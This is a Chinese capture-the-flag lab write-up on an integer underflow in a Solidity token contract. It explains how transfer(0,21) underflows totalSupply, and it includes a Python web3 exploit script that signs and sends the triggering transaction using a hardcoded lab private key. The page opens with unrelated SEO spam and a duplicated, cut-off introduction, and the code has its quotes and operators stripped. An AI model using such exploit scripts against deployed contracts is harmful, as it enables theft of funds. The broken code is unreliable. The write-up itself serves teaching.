营销型网站建设 代理,深圳做网站乐云seo费用优惠,拱墅区建设局网站,网页版传奇世界攻略区块链安全 文章目录 区块链安全整数溢出漏洞实战实验目的实验环境实验工具实验原理攻击过程分析合约源代码漏洞EXP利用 整数溢出漏洞实战
实验目的
学会使用python3的web3模块 学会以太坊整数溢出漏洞分析及利用
实验环境
Ubuntu18.04操作机
实验工具
python3
实验原理…区块链安全 文章目录 区块链安全整数溢出漏洞实战实验目的实验环境实验工具实验原理攻击过程分析合约源代码漏洞EXP利用 整数溢出漏洞实战
实验目的
学会使用python3的web3模块 学会以太坊整数溢出漏洞分析及利用
实验环境
Ubuntu18.04操作机
实验工具
python3
实验原理
低版本Solidity整数是uint无符号类型若操作存在不安全行为可能会产生溢出通过分析代码找到漏洞点实现整数溢出利用。 题目环境是测试链所以需要本地与题目进行交互可使用python3中的web3模块通过web3模块的rpc功能与题目交互从而编写自动化利用脚本。 实验内容 使用python3编写脚本测试漏洞 找到整数溢出漏洞并形成利用获取flag 实验地址为nc ip 10001
攻击过程
nc 靶标ip 端口 打开http://ip输入上述分配的game account点击Request获取eth nc ip 10001连接到题目输入2获取部署合约的地址及new token
nc ip 10001连接到题目输入4获取合约源代码或者在题目附件找到合约源代码
分析合约源代码漏洞
题目要求把flag设置为true分析合约代码在transfer中可以将flag设置为true但需要满足totalSupply - _value 0其中totalSupply20其实考点为Solidity智能合约整数溢出totalSupply与value都是uint无符号整数所以只需要value为21即可产生整数下溢造成溢出 需要调用transfer(0,21)即可将flag设置为true
EXP利用
利用python3的web3模块与远程题目交互并编写利用代码将ip替换成题目的ipcontract_address替换成自己的地址
from web3 import Web3, HTTPProvider
import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0x68A04806e380BAa6D6f2E96027Cc0ed11c17FEf1
private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb
public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receipt# transfer(0,21)
data Web3.keccak(texttransfer(address,uint256)).hex()[:10]
data 0*64
data 21.rjust(64,0)txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
Hack sign_and_send(txn)
print(Hack)运行exp nc ip 10001连接到题目输入3输入之前的new token获取flag